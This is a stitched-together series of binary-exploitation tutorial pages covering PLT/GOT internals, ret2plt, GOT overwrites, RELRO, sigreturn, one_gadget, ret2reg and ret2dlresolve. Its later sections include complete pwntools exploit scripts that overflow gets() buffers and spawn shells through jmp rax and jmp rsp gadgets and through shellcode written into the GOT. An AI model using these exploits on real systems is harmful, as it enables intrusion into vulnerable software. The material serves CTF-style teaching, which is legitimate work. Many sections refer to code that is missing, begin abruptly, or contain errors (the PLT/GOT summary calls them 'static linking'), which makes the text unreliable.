Bit of an issue? Yes. Our input is being passed directly to system.

The PLT and GOT are sections within an ELF file that deal with a large portion of the dynamic linking. Dynamically linked binaries are more common than statically linked binary in CTFs. The purpose of dynamic linking is that binaries do not have to carry all the code necessary to run within them - this reduces their size substantially. Instead, they rely on system libraries (especially libc, the C standard library) to provide the bulk of the fucntionality. For example, each ELF file will not carry their own version of puts compiled within it - it will instead dynamically link to the puts of the system it is on. As well as smaller binary sizes, this also means the user can continually upgrade their libraries, instead of having to redownload all the binaries every time a new version comes out.

So when it's on a new system, it replaces function calls with hardcoded addresses?

Not quite.

The problem with this approach is it requires libc to have a constant base address, i.e. be loaded in the same area of memory every time it's run, but remember that exists. Hence the need for dynamic linking. Due to the way ASLR works, these addresses need to be resolved every time the binary is run. Enter the PLT and GOT.

The PLT and GOT

The PLT (Procedure Linkage Table) and GOT (Global Offset Table) work together to perform the linking.

When you call puts() in C and compile it as an ELF executable, it is not actually puts() - instead, it gets compiled as puts@plt. Check it out in GDB:

Why does it do that?

Well, as we said, it doesn't know where puts actually is - so it jumps to the PLT entry of puts instead. From here, puts@plt does some very specific things:

• If there is a GOT entry for puts, it jumps to the address stored there.

• If there isn't a GOT entry, it will resolve it and jump there.

The GOT is a massive table of addresses; these addresses are the actual locations in memory of the libc functions. puts@got, for example, will contain the address of puts in memory. When the PLT gets called, it reads the GOT address and redirects execution there. If the address is empty, it coordinates with the ld.so (also called the dynamic linker/loader) to get the function address and stores it in the GOT.

How is this useful for binary exploitation?

Well, there are two key takeaways from the above explanation:

• Calling the PLT address of a function is equivalent to calling the function itself

• The GOT address contains addresses of functions in libc, and the GOT is within the binary.

The use of the first point is clear - if we have a PLT entry for a desirable libc function, for example system, we can just redirect execution to its PLT entry and it will be the equivalent of calling system directly; no need to jump into libc.

The second point is less obvious, but debatably even more important. As the GOT is part of the binary, it will always be a constant offset away from the base. Therefore, if PIE is disabled or you somehow leak the binary base, you know the exact address that contains a libc function's address. If you perhaps have an arbitrary read, it's trivial to leak the real address of the libc function and therefore bypass ASLR.

Exploiting an Arbitrary Read

There are two main ways that I (personally) exploit an arbitrary read. Note that these approaches will cause not only the GOT entry to be return but everything else until a null byte is reached as well, due to strings in C being null-terminated; make sure you only take the required number of bytes.

ret2plt

A ret2plt is a common technique that involves calling puts@plt and passing the GOT entry of puts as a parameter. This causes puts to print out its own address in libc. You then set the return address to the function you are exploiting in order to call it again and enable you to

%s format string

This has the same general theory but is useful when you have limited stack space or a ROP chain would alter the stack in such a way to complicate future payloads, for example when stack pivoting.

Summary

• The PLT and GOT do the bulk of static linking

• The PLT resolves actual locations in libc of functions you use and stores them in the GOT

  • Next time that function is called, it jumps to the GOT and resumes execution there

• Calling function@plt is equivalent to calling the function itself

• An arbitrary read enables you to read the GOT and thus bypass ASLR by calculating libc base

Overview

This time around, there's no leak. You'll have to use the ret2plt technique explained previously. Feel free to have a go before looking further on.

Analysis

We're going to have to leak ASLR base somehow, and the only logical way is a ret2plt. We're not struggling for space as gets() takes in as much data as we want.

Exploitation

All the basic setup

Now we want to send a payload that leaks the real address of puts. As mentioned before, calling the PLT entry of a function is the same as calling the function itself; if we point the parameter to the GOT entry, it'll print out it's actual location. This is because in C string arguments for functions actually take a pointer to where the string can be found, so pointing it to the GOT entry (which we know the location of) will print it out.

But why is there a main there? Well, if we set the return address to random jargon, we'll leak libc base but then it'll crash; if we call main again, however, we essentially restart the binary - except we now know libc base so this time around we can do a ret2libc.

Remember that the GOT entry won't be the only thing printed - puts, and most functions in C, print until a null byte. This means it will keep on printing GOT addresses, but the only one we care about is the first one, so we grab the first 4 bytes and use u32() to interpret them as a little-endian number. After that we ignore the the rest of the values as well as the Come get me from calling main again.

From here, we simply calculate libc base again and perform a basic ret2libc:

And bingo, we have a shell!

Final Exploit

64-bit

You know the drill - try the same thing for 64-bit. If you want, you can use pwntools' ROP capabilities - or, to make sure you understand calling conventions, be daring and do both :P

Source

The very simplest of possible GOT-overwrite binaries.

Infinite loop which takes in your input and prints it out to you using printf - no buffer overflow, just format string. Let's assume ASLR is disabled - have a go yourself :)

Exploitation

As per usual, set it all up

Now, to do the %n overwrite, we need to find the offset until we start reading the buffer.

Looks like it's the 5th.

Yes it is!

Now, next time printf gets called on your input it'll actually be system!

If the buffer is restrictive, you can always send /bin/sh to get you into a shell and run longer commands.

Final Exploit

64-bit

You'll never guess. That's right! You can do this one by yourself.

ASLR Enabled

If you want an additional challenge, re-enable ASLR and do the 32-bit and 64-bit exploits again; you'll have to leverage what we've covered previously.

The Source

Just as we did for PIE, except this time we print the address of system.

Analysis

Yup, does what we expected.

Exploitation

Much of this is as we did with PIE.

Note that we include the libc here - this is just another ELF object that makes our lives easier.

Parse the address of system and calculate libc base from that (as we did with PIE):

Now we can finally ret2libc, using the libc ELF object to really simplify it for us:

Final Exploit

64-bit

Try it yourself :)

Using pwntools

If you prefer, you could have changed the following payload to be more pwntoolsy:

Instead, you could do:

The benefit of this is it's (arguably) more readable, but also makes it much easier to reuse in 64-bit exploits as all the parameters are automatically resolved for you.

Utilising ROP

The problem with shellcode exploits as they are is that the locations of it are questionable - wouldn't it be cool if we could control where we wrote it to?

Well, we can.

Instead of writing shellcode directly, we can instead use some ROP to take in input again - except this time, we specify the location as somewhere we control.

Using ESP

If you think about it, once the return pointer is popped off the stack ESP will points at whatever is after it in memory - after all, that's the entire basis of ROP. But what if we put shellcode there?

It's a crazy idea. But remember, ESP will point there. So what if we overwrite the return pointer with a jmp esp gadget! Once it gets popped off, ESP will point at the shellcode and thanks to the jmp esp it will be executed!

ret2reg

ret2reg extends the use of jmp esp to the use of any register that happens to point somewhere you need it to.

RELRO is a protection to stop any GOT overwrites from taking place, and it does so very effectively. There are two types of RELRO, which are both easy to understand.

Partial RELRO

Partial RELRO simply moves the GOT above the program's variables, meaning you can't overflow into the GOT. This, of course, does not prevent format string overwrites.

Full RELRO

Full RELRO makes the GOT completely read-only, so even format string exploits cannot overwrite it. This is not the default in binaries due to the fact that it can make it take much longer to load as it need to resolve all the function addresses at once.

Overview

A syscall is a system call, and is how the program enters the kernel in order to carry out specific tasks such as creating processes, I/O and any others they would require kernel-level access.

Browsing the list of syscalls, you may notice that certain syscalls are similar to libc functions such as open(), fork() or read(); this is because these functions are simply wrappers around the syscalls, making it much easier for the programmer.

Triggering Syscalls

On Linux, a syscall is triggered by the int80 instruction. Once it's called, the kernel checks the value stored in RAX - this is the syscall number, which defines what syscall gets run. As per the table, the other parameters can be stored in RDI, RSI, RDX, etc and every parameter has a different meaning for the different syscalls.

Execve

A notable syscall is the execve syscall, which executes the program passed to it in RDI. RSI and RDX hold arvp and envp respectively.

This means, if there is no system() function, we can use execve to call /bin/sh instead - all we have to do is pass in a pointer to /bin/sh to RDI, and populate RSI and RDX with 0 (this is because both argv and envp need to be NULL to pop a shell).

Overview

A sigreturn is a special type of syscall. The purpose of sigreturn is to return from the signal handler and to clean up the stack frame after a signal has been unblocked.

What this involves is storing all the register values on the stack. Once the signal is unblocked, all the values are popped back in (RSP points to the bottom of the sigreturn frame, this collection of register values).

Exploitation

By leveraging a sigreturn, we can control all register values at once - amazing! Yet this is also a drawback - we can't pick-and-choose registers, so if we don't have a stack leak it'll be hard to set registers like RSP to a workable value. Nevertheless, this is a super powerful technique - especially with limited gadgets.

A one_gadget is simply an execve("/bin/sh") command that is present in gLIBC, and this can be a quick win with GOT overwrites - next time the function is called, the one_gadget is executed and the shell is popped.

__malloc_hook is a feature in C. The Official GNU site defines __malloc_hook as:

The value of this variable is a pointer to the function that malloc uses whenever it is called.

To summarise, when you call malloc() the function __malloc_hook points to also gets called - so if we can overwrite this with, say, a one_gadget, and somehow trigger a call to malloc(), we can get an easy shell.

Finding One_Gadgets

Luckily there is a tool written in Ruby called one_gadget. To install it, run:

gem install one_gadget

And then you can simply run

one_gadget libc

Triggering malloc()

Wait a sec - isn't malloc() a heap function? How will we use it on the stack? Well, you can actually trigger malloc by calling printf("%10000$c") (this allocates too many bytes for the stack, forcing libc to allocate the space on the heap instead). So, if you have a format string vulnerability, calling malloc is trivial.

Practise

This is a hard technique to give you practise on, due to the fact that your libc version may not even have working one_gadgets. As such, feel free to play around with the GOT overwrite binary and see if you can get a one_gadget working.

Remember, the value given by the one_gadget tool needs to be added to libc base as it's just an offset.

Source

Any function that returns a pointer to the string once it acts on it is a prime target. There are many that do this, including stuff like gets(), strcpy() and fgets(). We''l keep it simple and use gets() as an example.

#include <stdio.h>

void vuln() {
    char buffer[100];
    gets(buffer);
}

int main() {
    vuln();
    return 0;
}

Analysis

First, let's make sure that some register does point to the buffer:

$ r2 -d -A vuln

[0x7f8ac76fa090]> pdf @ sym.vuln 
            ; CALL XREF from main @ 0x401147
┌ 28: sym.vuln ();
│           ; var int64_t var_70h @ rbp-0x70
│           0x00401122      55             push rbp
│           0x00401123      4889e5         mov rbp, rsp
│           0x00401126      4883ec70       sub rsp, 0x70
│           0x0040112a      488d4590       lea rax, [var_70h]
│           0x0040112e      4889c7         mov rdi, rax
│           0x00401131      b800000000     mov eax, 0
│           0x00401136      e8f5feffff     call sym.imp.gets           ; char *gets(char *s)
│           0x0040113b      90             nop
│           0x0040113c      c9             leave
└           0x0040113d      c3             ret

Now we'll set a breakpoint on the ret in vuln(), continue and enter text.

[0x7f8ac76fa090]> db 0x0040113d
[0x7f8ac76fa090]> dc
hello
hit breakpoint at: 40113d

We've hit the breakpoint, let's check if RAX points to our register. We'll assume RAX first because that's the traditional register to use for the return value.

[0x0040113d]> dr rax
0x7ffd419895c0
[0x0040113d]> ps @ 0x7ffd419895c0
hello

And indeed it does!

Exploitation

We now just need a jmp rax gadget or equivalent. I'll use ROPgadget for this and look for either jmp rax or call rax:

$ ROPgadget --binary vuln | grep -iE "(jmp|call) rax"

0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401019 ; call rax
0x0000000000401010 : call rax
0x000000000040100e : je 0x401014 ; call rax
0x0000000000401095 : je 0x4010a7 ; mov edi, 0x404030 ; jmp rax
0x00000000004010d7 : je 0x4010e7 ; mov edi, 0x404030 ; jmp rax
0x000000000040109c : jmp rax
0x0000000000401097 : mov edi, 0x404030 ; jmp rax
0x0000000000401096 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x000000000040100c : test eax, eax ; je 0x401016 ; call rax
0x0000000000401093 : test eax, eax ; je 0x4010a9 ; mov edi, 0x404030 ; jmp rax
0x00000000004010d5 : test eax, eax ; je 0x4010e9 ; mov edi, 0x404030 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401017 ; call rax

There's a jmp rax at 0x40109c, so I'll use that. The padding up until RIP is 120; I assume you can calculate this yourselves by now, so I won't bother showing it.

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

JMP_RAX = 0x40109c

payload = asm(shellcraft.sh())        # front of buffer <- RAX points here
payload = payload.ljust(120, b'A')    # pad until RIP
payload += p64(JMP_RAX)               # jump to the buffer - return value of gets()

p.sendline(payload)
p.interactive()

Awesome!

Source

#include <stdio.h>

void vuln() {
    char buffer[20];

    puts("Give me the input");

    gets(buffer);
}

int main() {
    vuln();

    return 0;
}

Super standard binary.

Exploitation

Let's get all the basic setup done.

from pwn import *

elf = context.binary = ELF('./vuln-32')
p = process()

Now we're going to do something interesting - we are going to call gets again. Most importantly, we will tell gets to write the data it receives to a section of the binary. We need somewhere both readable and writeable, so I choose the GOT. We pass a GOT entry to gets, and when it receives the shellcode we send it will write the shellcode into the GOT. Now we know exactly where the shellcode is. To top it all off, we set the return address of our call to gets to where we wrote the shellcode, perfectly executing what we just inputted.

rop = ROP(elf)

rop.raw('A' * 32)
rop.gets(elf.got['puts'])      # Call gets, writing to the GOT entry of puts
rop.raw(elf.got['puts'])       # now our shellcode is written there, we can continue execution from there

p.recvline()
p.sendline(rop.chain())

p.sendline(asm(shellcraft.sh()))

p.interactive()

Final Exploit

from pwn import *

elf = context.binary = ELF('./vuln-32')
p = process()

rop = ROP(elf)

rop.raw('A' * 32)
rop.gets(elf.got['puts'])      # Call gets, writing to the GOT entry of puts
rop.raw(elf.got['puts'])       # now our shellcode is written there, we can continue execution from there

p.recvline()
p.sendline(rop.chain())

p.sendline(asm(shellcraft.sh()))

p.interactive()

64-bit

I wonder what you could do with this.

ASLR

No need to worry about ASLR! Neither the stack nor libc is used, save for the ROP.

The real problem would be if PIE was enabled, as then you couldn't call gets as the location of the PLT would be unknown without a leak - same problem with writing to the GOT.

Potential Problems

Thank to clubby789 and Faith from the HackTheBox Discord server, I found out that the GOT often has Executable permissions simply because that's the default permissions when there's no NX. If you have a more recent kernel, such as 5.9.0, the default is changed and the GOT will not have X permissions.

As such, if your exploit is failing, run uname -r to grab the kernel version and check if it's 5.9.0; if it is, you'll have to find another RWX region to place your shellcode (if it exists!).

Source

#include <stdio.h>

int test = 0;

int main() {
    char input[100];

    puts("Get me with shellcode and RSP!");
    gets(input);

    if(test) {
        asm("jmp *%rsp");
        return 0;
    }
    else {
        return 0;
    }
}

You can ignore most of it as it's mostly there to accomodate the existence of jmp rsp - we don't actually want it called, so there's a negative if statement.

Exploitation

Try to do this yourself first, using the explanation on the previous page. Remember, RSP points at the thing after the return pointer once ret has occured, so your shellcode goes after it.

Solution

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

# we use elf.search() because we don't need those instructions directly,
# just anu sequence of \xff\xe4
jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = flat(
    'A' * 120,                # padding
    jmp_rsp,                 # RSP will be pointing to shellcode, so we jump there
    asm(shellcraft.sh())     # place the shellcode
)

p.sendlineafter('RSP!\n', payload)
p.interactive()

Limited Space

You won't always have enough overflow - perhaps you'll only have 7 or 8 bytes. What you can do in this scenario is make the shellcode after the RIP equivalent to something like

sub rsp, 0x20
jmp rsp

Where 0x20 is the offset between the current value of RSP and the start of the buffer. In the buffer itself, we put the main shellcode. Let's try that!

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
    sub rsp, 10;
    jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

The 10 is just a placeholder. Once we hit the pause(), we attach with radare2 and set a breakpoint on the ret, then continue. Once we hit it, we find the beginning of the A string and work out the offset between that and the current value of RSP - it's 128!

Solution

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = asm(shellcraft.sh())
payload = payload.ljust(120, b'A')
payload += p64(jmp_rsp)
payload += asm('''
    sub rsp, 128;
    jmp rsp;
''')        # 128 we found with r2

p.sendlineafter('RSP!\n', payload)
p.interactive()

We successfully pivoted back to our shellcode - and because all our addresses are relative, it's completely reliable! ASLR beaten with pure shellcode.

Broad Overview

During a ret2dlresolve, the attacker tricks the binary into resolving a function of its choice (such as system) into the PLT. This then means the attacker can use the PLT function as if it was originally part of the binary, bypassing ASLR (if present) and requiring no libc leaks.

Detailed Overview

Dynamically-linked ELF objects import libc functions when they are first called using the PLT and GOT. During the relocation of a runtime symbol, RIP will jump to the PLT and attempt to resolve the symbol. During this process a "resolver" is called.

The PLT jumps to wherever the GOT points. Originally, before the GOT is updated, it points back to the instruction after the jmp in the PLT to resolve it.

In order to resolve the functions, there are 3 structures that need to exist within the binary. Faking these 3 structures could enable us to trick the linker into resolving a function of our choice, and we can also pass parameters in (such as /bin/sh) once resolved.

Structures

There are 3 structures we need to fake.

$readelf -d source

Dynamic section at offset 0x2f14 contains 24 entries:
  Tag        Type                         Name/Value
 0x00000005 (STRTAB)                     0x804825c
 0x00000006 (SYMTAB)                     0x804820c
 0x00000017 (JMPREL)                     0x80482d8
 [...]

JMPREL

The JMPREL segment (.rel.plt) stores the Relocation Table, which maps each entry to a symbol.

$readelf -r source

Relocation section '.rel.dyn' at offset 0x2d0 contains 1 entry:
 Offset     Info    Type            Sym.Value  Sym. Name
0804bffc  00000206 R_386_GLOB_DAT    00000000   __gmon_start__

Relocation section '.rel.plt' at offset 0x2d8 contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804c00c  00000107 R_386_JUMP_SLOT   00000000   gets@GLIBC_2.0
0804c010  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0

These entries are of type Elf32_Rel:

typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Word;
typedef struct
{
  Elf32_Addr    r_offset;               /* Address */
  Elf32_Word    r_info;                 /* Relocation type and symbol index */
} Elf32_Rel;
/* How to extract and insert information held in the r_info field.  */
#define ELF32_R_SYM(val)                ((val) >> 8)
#define ELF32_R_TYPE(val)               ((val) & 0xff)

The column name coresponds to our symbol name. The offset is the GOT entry for our symbol. info stores additional metadata.

Note the due to this the R_SYM of gets is 1 as 0x107 >> 8 = 1.

STRTAB

Much simpler - just a table of strings for the names.

SYMTAB

Symbol information is stores here in an Elf32_Sym struct:

typedef struct 
{ 
   Elf32_Word st_name ; /* Symbol name (string tbl index) */
   Elf32_Addr st_value ; /* Symbol value */ 
   Elf32_Word st_size ; /* Symbol size */ 
   unsigned char st_info ; /* Symbol type and binding */ 
   unsigned char st_other ; /* Symbol visibility under glibc>=2.2 */ 
   Elf32_Section st_shndx ; /* Section index */ 
} Elf32_Sym ;

The most important value here is st_name as this gives the offset in STRTAB of the symbol name. The other fields are not relevant to the exploit itself.

Linking the Structures

We now know we can get the STRTAB offset of the symbol's string using the R_SYM value we got from the JMPREL, combined with SYMTAB:

Here we're reading SYMTAB + R_SYM * size (16), and it appears that the offset (the SYMTAB st_name variable) is 0x10.

And if we read that offset on STRTAB, we get the symbol's name!

More on the PLT and GOT

Let's hop back to the GOT and PLT for a slightly more in-depth look.

If the GOT entry is unpopulated, we push the reloc_offset value and jump to the beginning of the .plt section. A few instructions later, the dl-resolve() function is called, with reloc_offset being one of the arguments. It then uses this reloc_offset to calculate the relocation and symtab entries.

Resources

• The Original Phrack Article

• 0ctf's babystack

• rk700 (in Chinese)

The Source

To make it super simple, I made it in assembly using pwntools:

The binary contains all the gadgets you need! First it executes a read syscall, writes to the stack, then the ret occurs and you can gain control.

But what about the /bin/sh? I slightly cheesed this one and couldn't be bothered to add it to the assembly, so I just did:

Exploitation

As we mentioned before, we need the following layout in the registers:

To get the address of the gadgets, I'll just do objdump -d vuln. The address of /bin/sh can be gotten using strings:

The offset from the base to the string is 0x1250 (-t x tells strings to print the offset as hex). Armed with all this information, we can set up the constants: